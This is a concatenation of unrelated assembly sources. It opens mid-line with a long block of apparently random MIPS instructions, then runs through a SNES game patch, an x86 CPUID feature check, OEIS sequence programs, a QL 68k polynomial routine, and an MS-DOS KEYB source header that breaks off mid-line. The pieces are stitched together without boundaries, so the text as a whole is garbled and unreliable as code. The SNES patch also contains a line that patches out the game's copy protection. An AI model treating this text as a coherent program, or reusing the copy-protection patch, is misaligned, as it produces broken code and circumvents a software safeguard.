$5,$5,60743 lw $1,0($0) slt $1,$1,$3 xori $4,$4,34094 lhu $5,16($0) xori $1,$4,52187 srlv $5,$5,$3 ori $4,$0,6284 addiu $3,$3,-18656 srav $0,$0,$3 or $5,$1,$3 addiu $4,$1,17537 sb $0,12($0) lb $3,5($0) and $5,$5,$3 sra $1,$5,15 slt $1,$4,$3 andi $4,$4,42117 subu $4,$3,$3 srav $3,$0,$3 sllv $5,$3,$3 sltiu $5,$4,6459 srl $4,$6,3 sh $3,2($0) lw $6,4($0) sltu $3,$3,$3 addu $4,$4,$3 ori $0,$3,15511 sra $3,$5,13 slti $3,$5,-25010 lw $4,12($0) sltiu $1,$3,-9028 xori $5,$4,18170 lhu $3,4($0) lbu $1,11($0) addu $5,$5,$3 lh $5,12($0) sltu $5,$1,$3 lw $3,12($0) lbu $5,5($0) ori $3,$5,13477 xor $3,$4,$3 sb $5,4($0) srav $5,$5,$3 lbu $0,7($0) sb $5,10($0) srl $0,$0,6 sb $5,9($0) sra $1,$1,25 sb $5,7($0) addu $3,$1,$3 slt $3,$1,$3 lhu $1,10($0) nor $4,$6,$3 lbu $5,7($0) sb $6,3($0) xori $1,$3,56380 sllv $3,$3,$3 sltu $4,$1,$3 lw $5,16($0) subu $3,$2,$3 lbu $1,14($0) sb $6,5($0) srlv $0,$3,$3 addiu $1,$1,31602 or $1,$4,$3 lbu $0,0($0) sra $4,$1,8 and $0,$0,$3 sltu $1,$2,$3 subu $3,$3,$3 and $4,$4,$3 sltiu $4,$3,-28387 and $5,$4,$3 srlv $1,$3,$3 or $0,$0,$3 lb $6,12($0) ori $6,$6,12730 addu $3,$3,$3 sllv $6,$6,$3 addiu $1,$6,-3877 subu $6,$3,$3 addu $3,$5,$3 slt $6,$3,$3 subu $1,$1,$3 sllv $4,$6,$3 sh $4,12($0) subu $6,$3,$3 sb $1,3($0) sw $3,0($0) slti $3,$5,1195 sltu $4,$6,$3 sllv $3,$3,$3 srl $3,$6,18 slt $5,$4,$3 lh $5,8($0) addu $3,$3,$3 srlv $4,$4,$3 lw $5,4($0) xori $6,$5,47048 addiu $5,$0,4519 sra $4,$6,22 srlv $0,$4,$3 sb $4,1($0) lb $0,0($0) xori $4,$6,36984 sh $5,10($0) lbu $3,1($0) subu $1,$1,$3 addu $5,$4,$3 srl $3,$4,27 srlv $0,$3,$3 sltiu $4,$1,-11765 lw $6,4($0) sra $0,$1,31 sh $4,0($0) srav $3,$3,$3 srl $4,$4,30 addu $0,$5,$3 srlv $5,$5,$3 addu $6,$3,$3 addiu $5,$5,-11217 sb $5,13($0) ori $4,$0,60321 sb $4,1($0) addiu $0,$4,-2486 srl $4,$4,19 sb $4,14($0) addu $3,$3,$3 andi $4,$4,6050 or $3,$3,$3 lb $4,11($0) sll $5,$6,16 ori $3,$5,8752 srl $3,$3,11 nor $4,$4,$3 lb $3,9($0) lw $3,12($0) slt $1,$4,$3 sb $3,11($0) sra $1,$4,23 nor $4,$0,$3 lh $1,0($0) srl $4,$1,15 sll $0,$3,24 xori $4,$5,29709 addu $3,$3,$3 subu $0,$0,$3 sltiu $5,$3,22704 subu $1,$4,$3 addu $3,$1,$3 srav $4,$3,$3 sltu $6,$0,$3 xori $5,$3,55278 lw $1,4($0) sll $6,$6,18 sw $5,8($0) addu $0,$5,$3 sra $3,$6,8 srav $5,$5,$3 and $3,$4,$3 sra $3,$4,21 sll $4,$1,18 subu $4,$4,$3 lh $6,14($0) nor $0,$0,$3 srlv $3,$5,$3 lhu $3,6($0) sra $4,$1,23 andi $3,$5,46923 sllv $3,$4,$3 sw $5,0($0) lh $0,0($0) addu $4,$1,$3 subu $4,$1,$3 slti $1,$3,-6201 sw $5,8($0) xor $3,$2,$3 srlv $3,$3,$3 addu $6,$6,$3 and $5,$4,$3 lb $3,13($0) xori $3,$3,23865 and $3,$4,$3 addiu $3,$5,-15132 lhu $3,14($0) or $3,$1,$3 srl $3,$3,0 lh $5,12($0) andi $6,$1,954 ori $1,$1,8794 or $4,$2,$3 sltu $2,$2,$3 andi $5,$0,1000 sb $4,7($0) srl $6,$6,1 andi $5,$3,60702 sllv $4,$1,$3 lhu $1,2($0) lhu $3,0($0) addu $3,$4,$3 xori $4,$3,37176 xori $3,$3,11534 sb $3,6($0) addiu $1,$1,6093 andi $4,$3,45775 sltu $1,$0,$3 nor $0,$4,$3 srav $3,$4,$3 lw $5,4($0) addiu $4,$4,13615 lhu $5,6($0) lbu $5,12($0) sll $3,$1,5 srlv $4,$4,$3 addu $6,$5,$3 slt $1,$5,$3 or $6,$3,$3 subu $0,$4,$3 or $5,$3,$3 subu $3,$3,$3 slti $6,$3,20886 sltiu $4,$3,5107 srlv $1,$6,$3 lhu $4,10($0) subu $4,$6,$3 xor $4,$3,$3 or $3,$3,$3 or $5,$4,$3 addu $1,$1,$3 nor $4,$0,$3 srav $3,$3,$3 lhu $4,14($0) sltiu $4,$3,-17079 subu $5,$6,$3 sll $3,$0,23 subu $4,$3,$3 lb $1,9($0) sltu $6,$6,$3 xor $3,$3,$3 slt $3,$3,$3 slt $3,$1,$3 sb $4,0($0) slt $3,$4,$3 srl $3,$6,16 sllv $4,$3,$3 or $1,$4,$3 sltiu $1,$5,-9993 or $5,$0,$3 andi $3,$0,33547 srav $1,$1,$3 sltu $1,$4,$3 sltu $1,$1,$3 sltu $5,$4,$3 srl $3,$5,14 sra $5,$4,22 sll $6,$3,18 xori $1,$6,46450 lb $1,6($0) xori $3,$3,53898 sllv $1,$1,$3 lbu $3,7($0) srl $5,$5,28 xor $3,$4,$3 xori $2,$2,51751 xori $4,$5,43359 slti $3,$0,-3706 srav $6,$5,$3 and $5,$5,$3 or $6,$0,$3 sw $1,16($0) sll $1,$5,0 sh $5,16($0) slti $4,$4,2880 lw $4,8($0) and $4,$1,$3 sll $1,$3,5 sllv $3,$3,$3 ori $1,$1,9319 addiu $4,$4,-8434 xori $1,$3,37906 addu $3,$0,$3 lhu $3,4($0) sb $4,15($0) lh $1,6($0) xori $4,$4,21820 subu $5,$4,$3 sllv $4,$6,$3 sw $1,16($0) sll $5,$3,31 lhu $1,2($0) sw $1,8($0) addiu $3,$3,-17946 sh $4,16($0) subu $0,$0,$3 slti $3,$3,-1768 lh $1,12($0) addu $4,$3,$3 andi $3,$5,55197 xor $4,$1,$3 xor $4,$3,$3 sltu $3,$5,$3 xor $3,$2,$3 subu $5,$3,$3 subu $0,$3,$3 subu $3,$4,$3 srav $3,$4,$3 sll $1,$1,6 lh $4,12($0) sb $3,1($0) sh $5,8($0) xor $4,$4,$3 xor $3,$4,$3 xor $3,$1,$3 lbu $4,3($0) sll $5,$0,2 lw $0,16($0) sll $3,$3,30 sh $5,2($0) sltiu $0,$1,-20589 slt $3,$3,$3 slti $0,$0,-30047 lb $4,7($0) xor $3,$0,$3 addiu $2,$2,5627 and $4,$4,$3 addiu $5,$6,-15539 xori $3,$4,35725 lhu $0,4($0) lhu $1,2($0) and $6,$3,$3 or $6,$6,$3 lb $0,5($0) lhu $3,2($0) srav $3,$3,$3 nor $4,$4,$3 addu $0,$5,$3 sll $4,$3,20 sb $3,10($0) sh $3,2($0) and $5,$3,$3 srlv $0,$4,$3 sh $1,6($0) andi $3,$3,15535 addu $1,$4,$3 sllv $0,$5,$3 sltu $4,$3,$3 sh $3,6($0) sh $5,4($0) slti $4,$1,4145 addu $4,$3,$3 and $4,$0,$3 subu $3,$1,$3 srl $3,$3,6 andi $4,$4,58146 subu $4,$4,$3 ori $4,$3,42595 lh $4,12($0) andi $6,$5,15321 sra $4,$4,3 srlv $6,$3,$3 addiu $1,$3,-8611 sh $3,0($0) sltiu $3,$1,9152 xori $1,$5,11598 srav $3,$3,$3 xor $6,$4,$3 sltiu $4,$4,-22838 sw $1,8($0) addiu $4,$4,3268 sll $3,$5,23 srl $5,$6,25 or $4,$0,$3 lw $5,16($0) lb $4,15($0) sll $1,$4,28 xori $1,$1,59279 lh $4,6($0) srl $4,$4,25 addiu $1,$2,-14432 xor $4,$4,$3 sw $1,0($0) addu $5,$4,$3 lh $5,0($0) subu $6,$6,$3 lhu $0,6($0) sltiu $5,$4,28495 srav $3,$4,$3 lh $4,0($0) sw $4,0($0) andi $0,$0,17426 srav $3,$1,$3 srl $1,$3,31 sh $5,2($0) subu $3,$4,$3 sw $3,4($0) srl $4,$3,9 srav $6,$1,$3 subu $3,$3,$3 or $3,$3,$3 sb $5,8($0) sh $5,16($0) subu $3,$5,$3 subu $3,$3,$3 sllv $4,$3,$3 andi $3,$1,34269 lbu $1,6($0) sltiu $1,$4,-26053 sltiu $4,$4,-12640 srl $4,$3,17 sb $5,6($0) slti $3,$2,-7668 sll $5,$4,22 sll $4,$1,17 nor $4,$4,$3 sw $3,0($0) sltiu $4,$4,14211 sh $3,14($0) subu $6,$6,$3 xori $3,$3,25744 slti $1,$1,10957 srl $5,$1,30 srl $5,$1,28 sll $3,$1,22 or $5,$3,$3 subu $3,$3,$3 sw $5,12($0) srav $4,$3,$3 lhu $5,14($0) srlv $4,$1,$3 sh $3,16($0) or $3,$6,$3 subu $3,$3,$3 sra $3,$5,22 sw $1,8($0) andi $0,$5,64613 andi $3,$3,34390 nor $4,$4,$3 xor $0,$0,$3 subu $3,$5,$3 lw $0,8($0) lhu $6,0($0) sra $4,$4,7 srlv $4,$5,$3 addu $5,$0,$3 subu $3,$5,$3 sllv $4,$3,$3 sra $3,$0,27 lbu $3,1($0) nor $4,$4,$3 srlv $5,$3,$3 xori $4,$1,56066 sltiu $0,$3,25127 lbu $6,7($0) xor $3,$3,$3 andi $3,$3,34282 sllv $0,$0,$3 subu $4,$4,$3 sb $3,1($0) sh $4,12($0) sltiu $0,$3,9822 lb $4,1($0) sllv $5,$0,$3 addiu $1,$0,-5237 ori $4,$4,37748 lw $1,12($0) lb $3,15($0) srav $3,$1,$3 sltiu $4,$1,776 xor $6,$6,$3 slti $5,$5,-12890 lb $4,16($0) sltu $4,$2,$3 addiu $3,$3,29945 sw $3,12($0) lhu $3,2($0) srl $5,$6,31 lh $1,2($0) lbu $5,12($0) nor $4,$0,$3 srav $5,$5,$3 addiu $1,$4,19639 sllv $4,$3,$3 ori $4,$3,62630 lh $0,10($0) sh $0,10($0) andi $1,$1,62815 srav $1,$2,$3 andi $5,$2,13607 addiu $5,$5,17513 srav $4,$4,$3 lb $5,5($0) sh $6,12($0) addiu $1,$3,-21012 sh $6,4($0) or $5,$4,$3 slti $4,$6,-26816 sllv $3,$0,$3 sra $1,$3,3 sllv $3,$4,$3 subu $3,$3,$3 srl $3,$5,19 and $3,$3,$3 ori $5,$3,5381 ori $5,$3,31864 srl $4,$1,26 sll $5,$3,17 sw $4,0($0) and $3,$4,$3 sw $5,0($0) addiu $6,$4,-15754 xor $3,$4,$3 sltu $4,$4,$3 xor $0,$3,$3 sw $0,0($0) or $3,$6,$3 xor $4,$5,$3 slti $3,$3,-14336 slt $4,$4,$3 addu $3,$3,$3 andi $4,$4,60005 sb $3,9($0) subu $4,$4,$3 lbu $4,0($0) or $4,$4,$3 sw $4,4($0) slt $4,$6,$3 addu $5,$6,$3 xori $4,$4,34116 addu $1,$3,$3 addiu $5,$5,-26575 xori $3,$3,23359 sb $4,13($0) nor $3,$1,$3 sw $3,4($0) subu $6,$4,$3 slti $3,$5,-10469 sltiu $3,$0,2086 addiu $1,$3,-29139 subu $0,$0,$3 nor $1,$0,$3 slti $3,$6,1288 addiu $3,$6,-12690 addiu $3,$3,2974 ori $6,$4,22282 subu $3,$3,$3 srl $5,$3,18 subu $5,$3,$3 lhu $6,14($0) lb $5,6($0) sra $3,$3,30 sb $5,6($0) addiu $5,$0,-15000 andi $3,$3,27503 or $4,$6,$3 addu $3,$4,$3 xori $3,$4,17296 ori $6,$0,20218 sh $4,6($0) slti $6,$6,-32172 addu $4,$3,$3 subu $6,$3,$3 addu $3,$4,$3 srlv $1,$4,$3 lb $6,11($0) addiu $4,$3,28809 addiu $4,$3,25790 and $0,$3,$3 srlv $5,$0,$3 lb $3,5($0) andi $4,$3,60175 lh $3,4($0) addiu $4,$3,26041 addiu $3,$4,-1938 addu $4,$3,$3 slt $6,$6,$3 ori $5,$5,61541 addu $4,$4,$3 ori $1,$1,59805 srav $5,$4,$3 lbu $3,9($0) lhu $3,10($0) lb $3,1($0) sh $6,6($0) lw $4,4($0) xori $4,$5,50931 subu $3,$4,$3 sltiu $3,$0,-28615 srlv $5,$3,$3 sra $3,$3,19 sb $3,12($0) lw $4,12($0) addu $4,$3,$3 sh $5,4($0) andi $1,$4,24145 srav $4,$3,$3 sllv $3,$3,$3 srav $3,$3,$3 addu $5,$5,$3 and $1,$5,$3 srl $3,$5,31 xor $3,$5,$3 addiu $0,$3,21347 addu $1,$3,$3 lhu $4,12($0) addu $3,$6,$3 slti $3,$5,-5150 srlv $4,$4,$3 andi $6,$6,32385 sra $3,$4,15 sw $0,12($0) srlv $5,$5,$3 addiu $5,$5,-8234 sw $3,16($0) nor $3,$3,$3 lw $3,16($0) and $1,$5,$3 sw $1,4($0) sltu $5,$3,$3 sltiu $3,$1,-7439 or $3,$3,$3 srlv $5,$5,$3 lh $4,14($0) lb $5,10($0) subu $0,$3,$3 xori $1,$3,25362 xor $3,$6,$3 sb $5,7($0) sllv $1,$3,$3 srlv $1,$3,$3 addu $6,$4,$3 xor $4,$4,$3 sw $4,0($0) addiu $4,$4,6470 xor $3,$1,$3 or $0,$1,$3 sll $1,$4,1 lbu $3,1($0) srlv $3,$5,$3 xor $1,$3,$3 addu $4,$4,$3 sb $1,3($0) or $1,$1,$3 srl $4,$1,26 sw $0,0($0) subu $3,$3,$3 addiu $3,$5,-12337 sb $3,10($0) sllv $0,$3,$3 slt $1,$3,$3 lw $3,8($0) nor $4,$3,$3 lw $4,16($0) andi $6,$1,55999 nor $6,$6,$3 lh $0,16($0) slt $3,$5,$3 slt $4,$0,$3 lbu $4,14($0) lb $5,14($0) srlv $1,$5,$3 sll $5,$5,9 sll $5,$4,18 xor $3,$4,$3 xori $5,$4,40737 srav $0,$0,$3 sll $6,$5,8 xori $3,$4,41988 xori $3,$3,45647 lhu $5,2($0) srav $3,$6,$3 slt $3,$3,$3 srl $5,$3,18 lb $6,11($0) addiu $3,$6,8358 lh $3,8($0) ori $5,$5,14554 srlv $3,$4,$3 sltu $5,$5,$3 srlv $3,$4,$3 lh $4,12($0) subu $3,$3,$3 addiu $5,$5,-20971 srl $3,$3,3 subu $3,$1,$3 ori $4,$4,13138 andi $4,$3,44349 nor $3,$5,$3 sltiu $4,$5,-26769 xor $3,$3,$3 addu $4,$3,$3 sh $5,10($0) slt $3,$1,$3 subu $1,$3,$3 lb $3,5($0) addu $6,$6,$3 sra $4,$3,14 addu $0,$3,$3 sltu $5,$5,$3 sra $3,$5,27 addu $6,$3,$3 subu $0,$4,$3 sltu $1,$5,$3 addu $1,$1,$3 xor $1,$6,$3 lw $1,16($0) lhu $1,16($0) lw $1,8($0) subu $3,$1,$3 sllv $3,$5,$3 sh $6,2($0) addiu $3,$1,-12883 sw $4,16($0) addu $1,$5,$3 sh $5,12($0) addu $4,$4,$3 lw $4,8($0) sll $0,$3,11 nor $5,$3,$3 ori $5,$6,33581 subu $1,$4,$3 lw $3,16($0) srl $4,$5,20 subu $4,$4,$3 sra $5,$5,8 or $1,$3,$3 sltiu $3,$1,-30870 xori $6,$1,39420 lhu $3,6($0) sh $0,12($0) addiu $3,$3,31423 sll $0,$0,25 sllv $1,$6,$3 and $1,$4,$3 ori $3,$5,37679 sltu $5,$1,$3 or $3,$3,$3 and $4,$3,$3 lhu $3,0($0) srlv $5,$1,$3 addu $6,$5,$3 andi $6,$5,50529 lbu $3,14($0) addu $3,$4,$3 addiu $0,$3,-24408 sltu $6,$3,$3 xori $6,$5,42061 sll $3,$4,10 xor $3,$3,$3 addiu $0,$1,-5560 or $0,$2,$3 lb $4,1($0) sltu $5,$6,$3 nor $4,$0,$3 sllv $5,$5,$3 subu $3,$3,$3 lb $6,3($0) nor $4,$3,$3 srl $5,$4,16 srlv $4,$4,$3 lw $3,0($0) lbu $3,15($0) nor $0,$0,$3 srav $1,$4,$3 subu $0,$1,$3 addiu $4,$4,30843 subu $3,$4,$3 subu $3,$3,$3 nor $0,$6,$3 sw $3,16($0) srav $3,$2,$3 sltu $0,$4,$3 addiu $4,$4,-2553 and $1,$0,$3 sb $4,7($0) sltu $1,$6,$3 ori $5,$4,22336 sb $5,10($0) lhu $4,16($0) slt $4,$1,$3 subu $3,$1,$3 sltiu $4,$4,-21829 addiu $3,$1,-5136 sra $3,$3,8 slt $3,$3,$3 lw $6,0($0) sll $3,$3,15 sllv $5,$5,$3 slti $3,$5,5928 addiu $4,$5,-7605 sltu $3,$5,$3 slt $4,$5,$3 sb $5,0($0) lhu $1,14($0) slt $1,$1,$3 lb $3,14($0) sllv $1,$4,$3 xor $4,$4,$3 slt $4,$0,$3 lhu $4,4($0) sltu $4,$4,$3 xor $3,$5,$3 sh $6,4($0) lhu $4,6($0) lw $1,12($0) lh $3,8($0) subu $4,$0,$3 srl $3,$6,19 andi $3,$3,27792 lh $3,8($0) addu $4,$3,$3 sltiu $6,$3,27131 xori $0,$3,15239 addiu $4,$1,5239 sw $3,4($0) lh $3,10($0) nor $1,$3,$3 subu $5,$5,$3 sh $0,0($0) srl $3,$4,15 lbu $5,11($0) addu $4,$4,$3 slt $4,$4,$3 and $4,$4,$3 xor $1,$1,$3 lbu $1,0($0) addiu $4,$4,-2256
; Patch out copy protection org $008000 db $FF ; Set SRAM size if !FEATURE_SD2SNES org $00FFD8 db $08 ; 256kb else org $00FFD8 db $05 ; 64kb endif ; Skip intro ; $82:EEDF A9 95 A3 LDA #$A395 org $82EEDF LDA #$C100 ; Skips the waiting time after teleporting org $90E870 JMP $E898 ; Adds frames when unpausing (nmi is turned off during vram transfers) ; $80:A16B 22 4B 83 80 JSL $80834B[$80:834B] org $80A16B JSL hook_unpause ; $82:8BB3 22 69 91 A0 JSL $A09169[$A0:9169] ; Handles Samus getting hurt? org $828BB3 JSL gamemode_end ; $80:8F24 9C F6 07 STZ $07F6 [$7E:07F6] ;/ ; $80:8F27 8D 40 21 STA $2140 [$7E:2140] ; APU IO 0 = [music track] org $808F24 JSL hook_set_music_track NOP #2 org $87D000 hook_set_music_track: { STZ $07F6 PHA LDA !sram_music_toggle : BEQ .noMusic PLA : STA $2140 RTL .noMusic PLA RTL } hook_unpause: { ; RT room LDA !ram_realtime_room : CLC : ADC.w #41 : STA !ram_realtime_room ; RT seg LDA !ram_seg_rt_frames : CLC : ADC.w #41 : STA !ram_seg_rt_frames CMP.w #60 : BCC .done SEC : SBC.w #60 : STA !ram_seg_rt_frames LDA !ram_seg_rt_seconds : INC : STA !ram_seg_rt_seconds CMP.w #60 : BCC .done LDA #$0000 : STA !ram_seg_rt_seconds LDA !ram_seg_rt_minutes : INC : STA !ram_seg_rt_minutes .done JSL $80834B RTL } gamemode_end: { JSL $A09169 %a8() : LDA $4201 : ORA #$80 : STA $4201 : %a16() LDA $2137 : LDA $213D : AND #$00FF : STA !ram_lag_counter ; If mini map is disabled, we ignore artificial lag LDA $05F7 : BNE + ; Artificial lag. 41 loops ~= 1 scanline LDA !sram_artificial_lag : BEQ + : ASL #4 : TAX { - DEX : BNE - } + RTL } stop_all_sounds: { ; If $05F5 is non-zero, the game won't clear the sounds LDA $05F5 : PHA LDA #$0000 : STA $05F5 JSL $82BE17 PLA : STA $05F5 ; Makes the game check Samus' health again, to see if we need annoying sound LDA #$0000 : STA $0A6A RTL }
include uXmx86asm.inc option casemap:none ifndef __X64__ .686P .xmm .model flat, c else .X64P .xmm option win64:11 option stackbase:rsp endif option frame:auto .code align 16 uXm_has_AVX512_VNNI_VL proto VECCALL (byte) align 16 uXm_has_AVX512_VNNI_VL proc VECCALL (byte) mov eax, 0 cpuid cmp ecx, bit_ntel ; 'GenuineIntel' jne not_supported mov eax, 1 cpuid and ecx, bit_OSXSAVE cmp ecx, bit_OSXSAVE ; check OSXSAVE jne not_supported ; processor XGETBV is enabled by OS mov ecx, 0 ; specify 0 for XCR0 register xgetbv ; result in edx:eax and eax, 0E6h cmp eax, 0E6h ; check OS has enabled both XMM and YMM and ZMM state support jne not_supported mov eax, 7 cpuid and ebx, bit_AVX512F_VL cmp ebx, bit_AVX512F_VL ; AVX512F AVX512VL support by microprocessor jne not_supported and ecx, bit_AVX512_VNNI cmp ecx, bit_AVX512_VNNI ; AVX512_VNNI support by microprocessor jne not_supported mov al, true jmp done not_supported: mov al, false done: ret uXm_has_AVX512_VNNI_VL endp end ;.code
; A186493: Adjusted joint rank sequence of (f(i)) and (g(j)) with f(i) before g(j) when f(i)=g(j), where f(i)=5i and g(j)=j-th pentagonal number. Complement of A186494. ; 2,4,6,7,9,10,11,13,14,15,17,18,19,20,22,23,24,25,27,28,29,30,31,33,34,35,36,37,38,40,41,42,43,44,45,47,48,49,50,51,52,53,55,56,57,58,59,60,61,63,64,65,66,67,68,69,70,72,73,74,75,76,77,78,79,80,82,83,84,85,86,87,88,89,90,92,93,94,95,96,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,114,115,116,117,118,119,120,121,122,123,124,126,127,128,129,130,131,132,133,134 mov $1,$0 mul $0,4 add $1,3 add $0,$1 sub $1,1 lpb $0 sub $0,1 add $1,1 add $2,3 trn $0,$2 lpe sub $1,1
; A010170: Continued fraction for sqrt(99). ; 9,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1,18,1 mov $1,9 lpb $0 mod $0,2 mul $1,2 lpe gcd $1,$0
; QL Arithmetic Polynomial Evaluation V2.00  1990 Tony Tebby QJUMP section qa xdef qa_poly xdef qa_polyo xdef qa_poly1 xdef qa_polye xref qa_dup xref qa_square xref qa_mul xref qa_muld xref qa_add xref qa_addd ;+++ ; QL Arithmetic: Odd polynomial of TOS, nth order, (n+1)/2 terms, c1=1, so ; only (n-1)/2 terms are specified. ; ; This is like POLYO, but the coefficient of x is one. To save rounding errors ; this routine adds x as the last operation. P=x+x(Pe(x^2)) ; ; d0 r error return 0 ; a1 c p pointer to arithmetic stack ; a2 c u pointer to n (word), Cn, Cn-2, ... C3 - in reverse order ; status return standard ;--- qa_poly1 jsr qa_dup ; duplicate jsr qa_dup ; duplicate jsr qa_square ; and square it jsr qa_dup ; duplicate that move.w -(a2),d0 ; order lsr.w #1,d0 ; number of terms subq.w #1,d0 bsr.s qpy_do jsr qa_mul ; raise the order by 2 jsr qa_mul ; ... by one more jmp qa_add ;+++ ; QL Arithmetic: Odd polynomial of TOS, nth order, (n+1)/2 terms ; ; d0 r error return 0 ; a1 c p pointer to arithmetic stack ; a2 c u pointer to n (word), Cn, Cn-2, .... C1 - in reverse order ; status return standard ;--- qa_polyo jsr qa_dup ; duplicate bsr.s qa_polye ; even polynomial jmp qa_mul ; ... odd ;+++ ; QL Arithmetic: Even polynomial of TOS, nth order, n/2+1 terms ; ; d0 r error return 0 ; a1 c p pointer to arithmetic stack ; a2 c u pointer to n (word), Cn, Cn-2, .... C0 - in reverse order ; status return standard ;--- qa_polye jsr qa_square ; square it move.w -(a2),d0 ; order lsr.w #1,d0 ; number of terms -1 bra.s qpy_do ;+++ ; QL Arithmetic: Polynomial of TOS, nth order, n+1 terms ; ; d0 r error return 0 ; a1 c p pointer to arithmetic stack ; a2 c u pointer to n (word), Cn, Cn-1, .... C0 - in reverse order ; status return standard ;--- qa_poly qpy.reg reg d1/d2/d3/d4/d5 move.w -(a2),d0 qpy_do movem.l qpy.reg,-(sp) move.w d0,d5 ; number of terms -1 move.w (a1)+,d4 ; x move.l (a1)+,d3 move.l -(a2),-(a1) move.w -(a2),-(a1) ; last term bra.s qpy_eloop qpy_loop move.w d4,d2 move.l d3,d1 ; x jsr qa_muld ; multiply up move.l -(a2),d1 ; previous term move.w -(a2),d2 beq.s qpy_eloop jsr qa_addd ; add coefficient qpy_eloop dbra d5,qpy_loop qpy_exit movem.l (sp)+,qpy.reg qpy_rts rts end
; A017488: a(n) = (11*n + 8)^4. ; 4096,130321,810000,2825761,7311616,15752961,29986576,52200625,84934656,131079601,193877776,276922881,384160000,519885601,688747536,895745041,1146228736,1445900625,1800814096,2217373921,2702336256,3262808641,3906250000,4640470641,5473632256,6414247921,7471182096,8653650625,9971220736,11433811041,13051691536,14835483601,16796160000,18945044881,21293813776,23854493601,26639462656,29661450625,32933538576,36469158961,40282095616,44386483761,48796810000,53527912321,58594980096,64013554081,69799526416,75969140625,82538991616,89526025681,96947540496,104821185121,113164960000,121997216961,131336659216,141202341361,151613669376,162590400625,174152643856,186320859201,199115858176,212558803681,226671210000,241474942801,256992219136,273245607441,290258027536,308052750625,326653399296,346083947521,366368720656,387532395441,409600000000,432596913841,456548867856,481481944321,507422576896,534397550625,562434001936,591559418641,621801639936,653188856401,685749610000,719512794081,754507653376,790763784001,828311133456,867180000625,907401035776,949005240561,992023968016,1036488922561,1082432160000,1129886087521,1178883463696,1229457398481,1281641353216,1335469140625,1390974924816,1448193221281 mul $0,11 add $0,8 pow $0,4
;/* ; * Microsoft Confidential ; * Copyright (C) Microsoft Corporation 1987 - 1991 ; * All Rights Reserved. ; */ PAGE ,132 TITLE MS DOS 5.0 - NLS Support - KEYB Command ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; MS DOS 5.0 - NLS Support - KEYB Command ; ; ; File Name: COMMSUBS.ASM ; ---------- ; ; Description: ; ------------ ; Common subroutines used by NLS support ; ; Documentation Reference: ; ------------------------ ; None ; ; Procedures Contained in This File: ; ---------------------------------- ; ; FIND_HW_TYPE - Determine the keyboard and system unit types and ; set the corresponding flags. ; ; Include Files Required: ; ----------------------- ; None ; ; External Procedure References: ; ------------------------------ ; FROM FILE ????????.ASM: ; ????????? - ??????? ; ; Change History: ; --------------- ; Sept 1989 For 4.02. ; Add required JMP $+2 between OUT/IN in KEYB_SECURE, ; remove unnecessary code and re-document routine. ; Remove unnecessary PUSH/POP's around call to KEYB_SECURE. ; Fix bug in FIND_KEYB_TYPE of READ ID flags not being ; cleared on PS/2's when keyboard is security locked. ; Clean up BIOS DATA & Extended DATA area access, use ES:. ; Arrange KB type checks into special case group and 8042. ; Fix delay loop timeout bug at WT_ID with REFRESH BIT type ; fixed timeout delay of 15ms. When the KBX flag is set ; by BIOS, the READ_ID is done and PORT 60h is ID_2 byte. ; AT (FCh) type machines all have the Refresh Bit at 61h. ; Change SND_DATA_AT proc to a general send command routine ; with REFRESH BIT timout logic and move the P-Layout test ; into FIND_KEYB_TYPE. Allows P-kb on all 8042 systems. ; Add untranslated ID_2 byte to P-layout support for newer ; PS/2's with hardware logic instead of 8042 if AT type. ; ; Feb 1990 For 4.03. ; PTM 6660 Add default to PC_386 type for new/unsupported system. ; Move determination code from KEYBI9C.ASM for original PC. ; Add Patriot/Sebring determination code for HOT Replug ; so that INT 9 handler can alter keyboard Scan Code set. ; Unknown system default= PC_386 with Patriot/Sebring test. ; Add EXT_122 check for 122 key keyboard to SYSTEM_FLAG. ;M005; ;JP9009 - Sep. 1990 DBCS keyboard support ;M005; ;JP9010 - Oct. 1990 Server password mode support ;M005; ;JP9011 - Nov. 1990 Mumlock LED incorrectly turns on with P-keyboard, ;M005; if system is started up in server password mode ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC FIND_SYS_TYPE PUBLIC FIND_KEYB_TYPE PUBLIC HW_TYPE PUBLIC SECURE_FL INCLUDE KEYBEQU.INC INCLUDE KEYBCPSD.INC INCLUDE KEYBSHAR.INC INCLUDE KEYBI9C.INC INCLUDE KEYBCMD.INC INCLUDE DSEG.INC INCLUDE POSTEQU.INC INCLUDE KEYBDCL.INC ; M005 -- JP9009 CODE SEGMENT PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; Module: FIND_SYS_TYPE ; ; Description: ; Determine the type of system we are running on. ; SYSTEM_FLAG (in active SHARED_DATA) are set to ; indicate the system type. ; This routine is only called the first time KEYB is being installed. ; ; ; Input Registers: ; DS - points to our data segment ; ; Output Registers: ; NONE ; ; Logic: ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ROM SEGMENT AT 0F000H ORG 0FFFBH SYSROM_DATE DW ? ; OFFSET OF ROM YEAR DIGIT PC1DATE_ID EQU 03138H ; YEAR ROM WAS RELEASED IN ASCII ORG 0FFFEH ROMID DB ? ; SEGMENT F000. (F000:FFFE) ROMPC1 EQU 0FFH ; ID OF PC1 hardware ROMXT EQU 0FEH ; ID OF PC-XT/PORTABLE hardware ROMAT EQU 0FCH ; ID OF PCAT ROMXT_ENHAN EQU 0FBH ; ID OF ENHANCED PCXT ROMPAL EQU 0FAH ; ID FOR 